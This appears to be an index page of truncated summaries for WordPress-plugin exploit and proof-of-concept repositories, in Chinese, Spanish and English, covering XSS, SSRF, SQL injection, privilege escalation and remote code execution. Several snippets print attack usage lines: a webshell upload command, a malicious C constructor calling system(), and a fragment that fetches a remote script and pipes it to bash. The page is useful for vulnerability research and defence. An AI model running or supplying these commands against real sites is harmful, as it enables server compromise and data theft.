CVE-2023-29439

CVE-2023-29439 该仓库涉及 Wordpress Foogallery 插件中的 XSS 漏洞。 漏洞详情 描述 在 Foogallery 2.2.35 及更早版本中，foogallery/includes/admin/class-gallery-attachment-modal.php 中的 foogalleryimageeditormodal 函数容易受到 XSS 攻击。 前提条件 无需身份验证 概念验证 1. Foogallery 设置 → 管理 → 启用高级附件模态框 2. 发送...

CVE-2026-63030

CVE-2026-63030 - WordPress REST API 批量路由混淆 PoC 描述 针对 CVE-2026-63030 的概念验证漏洞利用，这是 WordPress（6.9.0 至 7.0.1 版本）中的一个预认证漏洞。它串联了： REST API 批量路由混淆（验证与调度不匹配） 通过 authorexclude 参数进行的 SQL 注入 oEmbed 缓存投毒 + Customizer changeset 权限提升 创建管理员用户 为远程命令执行上传插件 要求 Python 3.10+ 目标：WordPress 6.9.0 – 7.0.1，且至少有一个已发布的文章/页...

WordPress LiteSpeed Cache plugin <= 7.9 - Server Side Request Forgery (SSRF) vulnerability

Server Side Request Forgery SSRF vulnerability discovered by sicksec in WordPress Plugin LiteSpeed Cache versions = 7.9...

CVE-2019-9978

Social Warfare Plugin Wordpress 3.5.2 Ejecución Remota de Código Wordpress Social Warfare Ejecución Remota de Código AUTO SUBIR SHELL Fecha: marzo de 2019 Enlace de descarga: https://wordpress.org/plugins/social-warfare/ Referencia: https://wpvulndb.com/vulnerabilities/9259 Versión: CVE: 2019-997...

CVE-2024-25600-EXPLOIT

CVE-2024-25600 - WordPress Bricks Builder 远程代码执行 RCE 🌐 WordPress 的 Bricks 主题被确认存在一个关键安全漏洞，编号为 CVE-2024-25600。该漏洞影响 Bricks Builder 插件的所有版本（包括 1.9.6）。此漏洞构成重大风险，因为它允许未经身份验证的攻击者在托管存在漏洞的 WordPress 网站的服务器上远程执行任意代码。CVE-2024-25600 属于远程代码执行 RCE 漏洞，使攻击者能够在无需任何身份验证的情况下操纵服务器执行恶意代码。该漏洞利用了 Bricks Builder...

CVE-2022-0165-EXPLOIT

CVE-2022-0165 - Page Builder KingComposer WordPress Plugin - Omisión de Validación del Parámetro ID El plugin Page Builder KingComposer para WordPress, versiones hasta la 2.9.6 inclusive, es susceptible a una vulnerabilidad de seguridad que permite a un atacante omitir la validación del parámetro...

CVE-2021-34621-EXPLOIT

CVE-2021-34621 - WordPress 权限提升 在 ProfilePress WordPress 插件的用户注册组件中发现了一个严重漏洞。此安全缺陷编号为 CVE-2021-34621，允许未经授权的用户以管理员权限在网站上注册，可能导致网站安全完全受损。 受影响组件 该漏洞位于 RegistrationAuth.php 文件中，该文件是 ProfilePress 插件的一部分。该组件负责处理用户注册。 受影响版本 此安全问题影响 ProfilePress 插件版本 3.0.0 至 3.1.3。使用这些版本中的任何一个的网站都存在被利用的风险。 影响...

CVE-2018-20463

CVE-2018-20463 WordPress JSmol2WP Plugin 1.07版本中存在安全漏洞。攻击者可利用该漏洞读取任意文件。 Optional Arguments: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" Use python3 CVE-2018-20463.py -u http://127.0.0.1 python3...

Exploit-CVE-2026-1357

安装依赖 pip3 install pycryptodome requests 基础利用 python3 wpvivi.py http://target.com 自定义Webshell python3 wpvivi.py http://target.com --shell backdoor.php python3 wpvivi.py http://target.com --code "" 技术说明： Null Byte Key：当RSA解密失败时，返回false，phpseclib将其视为"\x00\x00\x00"。我们使用16个null字节作为AES-128 ECB密钥。...

CVE-2026-8206

CVE-2026-8206 Vulnerabilidad: Toma de control de cuenta no autenticada — Secuestro del correo de restablecimiento de contraseña en Kirki Customizer Framework CVSS v3.1 9.8 / 10.0 CRÍTICA Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 1. Resumen CVE-2026-8206 es una vulnerabilidad de Toma de control...

CVE-2022-32119

CVE-2022-32119 - Arox-Unrestricted-File-Upload Existen múltiples subidas de archivos sin restricciones que resultan en la ejecución arbitraria de código PHP. Páginas Vulnerables Autenticadas: localhost/officeadmin/?pid=54&action=add root@kitploit:...

CVE-2018-6574

CVE-2018-6574 POC CVE-2018-6574 的漏洞利用 POC 编译 1. 创建一个包含以下内容的漏洞利用文件： root@kitploit: include include static void malicious attributeconstructor; void malicious system"COMMAND"; 2. 编译它： root@kitploit: gcc -shared -o exploit.so -fPIC exploit.c 3. 最后，你需要以下 Go 代码来告诉 cgo 使用你的插件： root@kitploit: package ma...

WordPress Gallery PhotoBlocks plugin <= 1.3.4 - Cross Site Scripting (XSS) vulnerability

Cross Site Scripting XSS vulnerability discovered by V1T in WordPress Plugin Gallery PhotoBlocks versions = 1.3.4...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security authentication bypass flaw in Docker Description The Really Simple Security plugins Free, Pro, and Pro Multisite for WordPress, versions 9.0.0 to 9.1.1.1, are affected by an authentication bypass vulnerability. This issue arises from improper erro...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress Plugin RCE Este repositorio contiene un exploit funcional en Python para CVE-2019-9978, una vulnerabilidad de ejecución remota de código en el plugin Social Warfare para WordPress versión = 3.5.2. Descripción El parámetro swpdebug en admin-post.php permite...

wp-ulike-cve-2025-32259-poc

WP ULike ≤ 4.7.9.1 - 未授权内容伪造 CVE-2025-32259 🔬 展示 WP ULike WordPress 插件中 CVE-2025-32259 的简单 PoC。 🚨 仅供教育用途 – 未经明确授权请勿在系统上测试。 🧠 概述 WP ULike 是一个流行的 WordPress 插件，允许用户点赞站点内容。版本 4.7.9.1 及以下存在缺少授权漏洞 ，允许未认证用户通过 AJAX 请求伪造“点赞”操作。 CVE: CVE-2025-32259 受影响版本: ≤ 4.7.9.1 修复版本: 4.7.9.2 🚀 概念验证 该漏洞允许未认证用户与 AJAX...

WordPress WP Go Maps plugin <= 10.1.08 - Denial of Service Attack vulnerability

Denial of Service Attack vulnerability discovered by Asim Alshaya in WordPress Plugin WP Go Maps versions = 10.1.08...

CVE-2023-6553

CVE-2023-6553 针对WordPress Backup插件中CVE-2023-6553的漏洞利用开发 这是一个严重级别的CVE，CVSS评分为9.8 该漏洞允许攻击者向运行受影响版本插件的服务器发送命令 受影响版本 Backup :9000/a.sh |bash';?" 3. 你会收到以下错误 root@kitploit: HTTP Response Body: 400 Bad Request Bad Request Your browser sent a request that this server could not understand. Size of a...

WordPress Really Simple SSL plugin <= 9.8.0 - Denial of Service Attack vulnerability

Denial of Service Attack vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Really Simple SSL versions = 9.8.0...

WordPress Broken Link Checker plugin <= 2.4.14 - Server Side Request Forgery (SSRF) vulnerability

Server Side Request Forgery SSRF vulnerability discovered by Ananda Dhakal Patchstack in WordPress Plugin Broken Link Checker versions = 2.4.14...